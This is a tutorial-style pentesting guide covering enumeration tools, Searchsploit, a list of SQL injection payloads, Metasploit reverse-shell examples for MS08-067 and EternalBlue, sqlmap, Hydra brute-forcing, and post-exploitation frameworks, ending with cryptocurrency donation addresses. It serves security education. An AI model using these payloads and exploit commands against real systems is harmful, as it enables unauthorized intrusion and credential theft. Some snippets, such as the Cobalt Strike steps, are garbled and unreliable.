How to Pentest

How to Pentest: A Comprehensive Guide to Penetration Testing Commands

Penetration testing, commonly known as pentesting, is a critical practice in cybersecurity that involves simulating attacks on a network, system, or application to identify vulnerabilities before malicious actors can exploit them. This guide provides an in-depth look at essential pentesting commands and tools, offering detailed technical explanations and practical examples.

Enumeration

Enumeration is a crucial phase in penetration testing that involves actively gathering detailed information about a target system, network, or application. The primary goal of enumeration is to identify and catalog resources, services, users, and configurations that may be vulnerable to exploitation.

Key Concepts in Enumeration

  1. Host Discovery: Enumerators begin by identifying live hosts within a network range using tools like ping, ARP scans, or more advanced techniques like TCP ACK scans.
  2. Port Scanning: Once live hosts are identified, port scanning techniques such as TCP SYN scans, TCP Connect scans, or UDP scans are used to determine which ports on the target hosts are open, closed, or filtered.
  3. Service Identification: Enumerators probe open ports to identify running services and their versions. This information is critical for understanding potential vulnerabilities associated with specific service versions.
  4. User Enumeration: Enumerating users involves identifying valid usernames on target systems. Techniques range from brute-forcing login forms to querying directory services like LDAP or Windows Active Directory.
  5. Network Enumeration: Enumerating network devices and configurations involves mapping network topology, identifying routers, switches, and their configurations, which can reveal potential points of entry or pivot points within the network.

Common Enumeration Techniques

  • Nmap: Nmap (Network Mapper) is a versatile tool used for network discovery and security auditing. It can perform various types of scans, including host discovery, port scanning, service version detection, and OS detection.
  • Enum4Linux: Specifically designed for enumerating information from Windows and SMB services, Enum4Linux can gather details about users, groups, shares, and policies, leveraging SMB protocol weaknesses.
  • NBTScan: Used for scanning NetBIOS services, NBTScan helps enumerate active NetBIOS names and their associated IP addresses, revealing Windows networking details and potential vulnerabilities.

Enumeration Tools

Nmap

Nmap (Network Mapper) is a powerful and versatile open-source tool used for network discovery and security auditing. It can identify live hosts on a network, open ports, running services, and even the operating system and version of the target devices.

Nmap Parameters

  • --min-rate <rate>: Sets the minimum number of packets sent per second to speed up the scan.
  • -n: Disables DNS resolution to increase scan speed and avoid DNS-related delays.
  • --open: Displays only open ports, filtering out closed and filtered ports.
  • -O: Enables OS detection, attempting to identify the operating system of the target.
  • -oG <file>: Outputs the results in a Greppable format for easy parsing.
  • -oN <file>: Outputs the results in a human-readable format.
  • -oX <file>: Outputs the results in XML format for integration with other tools.
  • -Pn: Skips the host discovery phase, assuming the target is up.
  • -p-: Scans all 65,535 TCP ports.
  • -p <ports>: Specifies a list of ports to scan.
  • -sC: Runs default Nmap scripts for common vulnerabilities.
  • -sS: Performs a stealthy SYN scan, which is less likely to be detected by firewalls.
  • -sU: Scans UDP ports, which are often overlooked but can be critical.
  • -sV: Probes open ports to determine service/version information.
  • -T4: Uses aggressive timing options to speed up the scan.
  • --traceroute: Maps the path packets take to reach the target, useful for understanding network topology.
  • -v, -vv, -vvv: Increases verbosity for more detailed output.

Nmap Examples

  • Comprehensive Port Scan: Performs a fast and thorough TCP SYN scan on all ports of the target 192.168.0.1, saving the results in a Greppable format.
    sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -vvv 192.168.0.1 -oG ports.txt
  • Service Detection Scan: Scans the specified ports (22, 80, 443) on the target 192.168.0.1, detects service versions, and runs default scripts to gather additional information.
    nmap -p22,80,443 -sV -sC -n -Pn 192.168.0.1 -oG services.txt

Enum4Linux

Enum4linux is a tool for enumerating information from Windows and SMB (Server Message Block) services. It is used to gather details about users, groups, shares, and policies in a Windows environment.

Enum4Linux Parameters

  • -a: Performs a full enumeration using all available options.
  • -G: Enumerates groups on the target.
  • -M: Enumerates machines (computer accounts) on the target.
  • -P: Enumerates password policies, providing insight into security settings.
  • -S: Enumerates shared resources (shares) available on the target.
  • -U: Enumerates users on the target, which can help in identifying potential accounts to target.
  • -d: Provides detailed information, increasing verbosity.
  • -p <password>: Specifies a password to use for authentication.
  • -u <username>: Specifies a username to use for authentication.

Enum4Linux Examples

  • Comprehensive Enumeration: Performs a complete enumeration of the target, gathering information on users, groups, shares, machines, and policies.
    enum4linux -a <target>

NBTScan

NBTScan is a command-line tool for scanning NetBIOS services on a network. NetBIOS (Network Basic Input/Output System) allows applications on different computers to communicate within a local network.

NBTScan Parameters

  • -v: Enables verbose mode to provide more detailed output.
  • -d: Dumps the contents of the NetBIOS packets.
  • -e: Formats the output in /etc/hosts format, making it useful for adding to hosts files.
  • -l: Formats the output in lmhosts format.
  • -t <time>: Sets the maximum wait time for responses, controlling the scan duration.
  • -b <bandwidth>: Limits the bandwidth used during the scan.
  • -s <separator>: Formats the output for easy scripting and parsing.
  • -m <retransmits>: Sets the number of retransmissions for reliability.

NBTScan Examples

  • Single Target Scan: Scans a single IP address, providing information on NetBIOS names and services.
    nbtscan 192.168.0.1
  • Network Scan: Scans an entire subnet, identifying all devices with active NetBIOS services.
    nbtscan 192.168.0.1/24
  • Scan from File: Scans a list of targets provided in a file, useful for large-scale enumeration.
    nbtscan -f <file>

Searchsploit

Searchsploit is a command-line interface for searching and retrieving exploits from the Exploit-DB database, a repository of known vulnerabilities and exploits.

Searchsploit Parameters

  • Search Options:
    • -c: Case-sensitive search.
    • -e: Exact term search.
    • -t: Search by title only.
    • --cve <CVE-ID>: Search by CVE identifier.
  • Output Options:
    • -j: Output in JSON format.
    • -o: Allow titles to overflow columns.
    • -p: Show full path to exploit files.
    • -v: Verbose mode.
    • -w: Show URLs to exploit-db.com.
    • --disable-colour: Disable colored output for easier reading or scripting.
  • Automation:
    • --nmap <file.xml>: Parse Nmap XML output for automated exploit searching.

SQL Injection

SQL Injection is a technique used to exploit vulnerabilities in an application's database layer by injecting malicious SQL code. Here are some basic payload examples:

  1. Bypass Authentication: This payload can bypass login authentication by exploiting poorly implemented SQL queries.
    ' OR '1'='1' --
  2. Union-Based SQL Injection: This payload uses the UNION SQL operator to combine the results of two or more select statements into a single result.
    ' UNION SELECT null, table_name FROM information_schema.tables --
  3. Error-Based SQL Injection: This payload forces the database to generate an error message, which can reveal valuable information about the database structure.
    ' AND 1=CONVERT(int, (SELECT @@version)) --
  4. Time-Based Blind SQL Injection: This payload uses database functions to cause a delay, which can indicate whether a condition is true or false, useful in blind SQL injection attacks.
     ' OR IF(1=1, SLEEP(5), 0) --
  5. Boolean-Based Blind SQL Injection: This payload exploits true or false conditions to infer information about the database.
    ' AND 1=1 --
    ' AND 1=2 --
  6. Extracting Database Version: This payload retrieves the version of the database.
    ' UNION SELECT @@version, null --
  7. Retrieving Table Names: This payload extracts the names of all tables in the database.
    ' UNION SELECT table_name, null FROM information_schema.tables --
  8. Retrieving Column Names: This payload extracts the names of columns from a specific table.
    ' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users' --
  9. Dumping User Credentials: This payload retrieves usernames and passwords from a table named users.
    ' UNION SELECT username, password FROM users --
  10. Commenting Out the Rest of the Query: This payload comments out the remainder of the SQL query, which can be useful in various injection scenarios.
    ' OR '1'='1'/* 

Searchsploit Examples

  • Basic Vulnerability Search: Searches for local exploits related to "afd" on Windows systems.
    searchsploit afd windows local
  • Title-Specific Search: Searches for exploits related to Oracle on Windows, focusing on titles.
    searchsploit -t oracle windows
  • Port-Specific Search: Searches for exploits targeting a specific port (39446).
    searchsploit -p 39446
  • CVE Search: Searches for exploits related to the CVE-2021-4428 vulnerability.
    searchsploit --cve 2021-4428

Exploitation

Exploitation is the phase in the penetration testing lifecycle where the tester actively attempts to exploit vulnerabilities identified during the enumeration and scanning phases. The goal of exploitation is to gain unauthorized access to a system, elevate privileges, or execute arbitrary code. This step involves using various techniques and tools to take advantage of weaknesses in software, hardware, or network configurations.

Key Concepts in Exploitation

  1. Vulnerability Identification: The initial step involves identifying specific vulnerabilities that can be exploited. This can be done using automated tools or manual techniques. Vulnerabilities can include unpatched software, misconfigurations, weak passwords, or inherent flaws in the system design.
  2. Payload Delivery: Once a vulnerability is identified, the next step is to deliver a payload to the target system. A payload is a piece of code that performs the desired action, such as opening a backdoor, capturing credentials, or launching a command shell. Common methods for payload delivery include buffer overflows, SQL injection, and phishing attacks.
  3. xecution and Control: After the payload is delivered, the next step is to execute it on the target system. Successful execution allows the tester to gain control over the system. This control can be temporary or persistent, depending on the type of payload and the goals of the tester.
  4. Post-Exploitation: This phase involves maintaining access, escalating privileges, and moving laterally within the network. It also includes data exfiltration, where sensitive information is extracted from the compromised system.

Common Exploitation Techniques

  1. Buffer Overflow: This technique involves overflowing a buffer (a temporary data storage area) with more data than it can handle, which can overwrite adjacent memory and allow the execution of arbitrary code. Buffer overflows can occur in both stack and heap memory.
  2. SQL Injection: This technique involves injecting malicious SQL code into an application's input fields, exploiting vulnerabilities in the application's database layer. It can be used to bypass authentication, retrieve, or modify database content.
  3. Cross-Site Scripting (XSS): XSS attacks involve injecting malicious scripts into web pages viewed by other users. These scripts can steal session cookies, redirect users to malicious sites, or perform actions on behalf of the user.
  4. Phishing: Phishing attacks trick users into providing sensitive information, such as login credentials or financial information, by impersonating legitimate entities. These attacks are often conducted via email or fraudulent websites.

Exploitation Tools

Metasploit Framework

Metasploit is a widely-used exploitation framework that provides a comprehensive suite of tools for developing, testing, and executing exploits. It includes a vast database of known vulnerabilities and pre-built exploits.

Metasploit Examples

  • Launching a simple exploit: Uses Metasploit to exploit the MS08-067 vulnerability in Windows SMB, setting up a reverse TCP payload to gain a meterpreter session on the target.
    msfconsole
    use exploit/windows/smb/ms08_067_netapi
    set RHOST <target_ip>
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST <your_ip>
    run
  • Exploiting a Windows SMB Vulnerability: Uses the EternalBlue exploit (ms17_010_eternalblue) to target a Windows machine via SMB, establishing a Meterpreter session.
    msfconsole
    use exploit/windows/smb/ms17_010_eternalblue
    set RHOSTS <target_ip>
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
    set LHOST <your_ip>
    run

SQLmap

SQLmap is an automated tool for detecting and exploiting SQL injection vulnerabilities in web applications. It can extract database information, execute SQL commands, and even provide a command shell.

SQLmap Examples

  • Exploiting a SQL injection vulnerability: Uses SQLmap to automatically exploit a SQL injection vulnerability in a web application, retrieving and dumping the database content.
    sqlmap -u "http://example.com/index.php?id=1" --batch --dump

BeEF

BeEF (Browser Exploitation Framework): BeEF focuses on exploiting vulnerabilities in web browsers. It allows testers to control compromised browsers and perform various actions, such as stealing credentials or capturing keystrokes.

Hydra

Hydra is a password-cracking tool that supports numerous protocols, including FTP, HTTP, SMB, and more. It performs brute-force attacks to guess login credentials.

Hydra Examples

  • Brute-force against FTP service: Attempts to brute-force FTP login credentials using a list of passwords from passwords.txt.
    hydra -l <username> -P <passwords.txt> ftp://<target_ip>

Post Exploitation

Post exploitation is crucial for penetration testers to fully demonstrate the impact of vulnerabilities discovered during testing. It simulates real-world attacker behaviors and helps organizations understand their exposure to sophisticated cyber threats. By conducting thorough post-exploitation activities, testers provide actionable insights for improving security defenses and mitigating risks effectively.

Key Concepts in Post Exploitation

  1. Maintaining Access: Ensure persistent access to the compromised system or network.
    • Backdoors: Install persistent backdoors to retain access.
    • Tunneling: Set up tunnels to securely communicate with the compromised system.
  2. Privilege Escalation: Attempt to elevate privileges on the compromised system to gain higher-level access, potentially reaching administrative or root privileges.
  3. Data Exfiltration: Extract sensitive data such as passwords, credentials, financial information, or intellectual property from compromised systems.
    • File Transfer: Use tools like scp or ftp to transfer data out of the network.
    • Steganography: Hide data within images or other file formats to evade detection.
  4. Lateral Movement: Move laterally across the network to access other systems or devices, exploring additional targets for exploitation.
    • Pass-the-Hash: Use stolen hashed credentials to authenticate to other systems.
    • Pivoting: Use the compromised system to launch attacks on other systems within the network.
  5. Covering Tracks: Erase evidence of the attack.
    • Log Manipulation: Alter or delete logs to hide evidence of the attack.
    • Rootkits: Install rootkits to maintain stealthy control over the system.

Post Exploitation Tools

PowerShell Empire

A post-exploitation framework that utilizes PowerShell for Windows environments. It includes modules for maintaining access, executing commands, and exfiltrating data.

PowerShell Empire Examples

  • Privilege Escalation with PowerShell Empire: Checks for common privilege escalation vulnerabilities on a compromised system, aiming to elevate privileges and gain greater control.
    empire
    usemodule credentials/powerup/allchecks
    execute

Cobalt Strike

A commercial penetration testing tool that integrates post-exploitation capabilities with command-and-control infrastructure. It facilitates advanced threat emulation and red team operations.

  • Data Exfiltration with Cobalt Strike: Enables data exfiltration by establishing a covert command-and-control channel to transmit sensitive information from the compromised network.
    ./teamserver <your_IP> <password> <DNS_name>
    ./cobaltstrike
    exploit

Conclusion

Penetration testing is a critical component of cybersecurity, helping to identify and mitigate vulnerabilities before they can be exploited by malicious actors. Tools like Nmap, Enum4Linux, NBTScan, Searchsploit, and Hydra provide invaluable capabilities for enumeration and exploitation, while understanding post-exploitation techniques ensures a comprehensive approach to securing systems and networks.

By mastering these tools and techniques, cybersecurity professionals can enhance their ability to protect against potential threats and improve the overall security posture of their organizations.

Thanks for reading ^^

BTC

bc1q4uzvtx6nsgt7pt7678p9rqel4hkhskpxvck8uq

ETH/BSC

0x7a70a0C1889A9956460c3c9DCa8169F25Bb098af

SOL

7UcE4PzrHoGqFKHyVgsme6CdRSECCZAoWipsHntu5rZx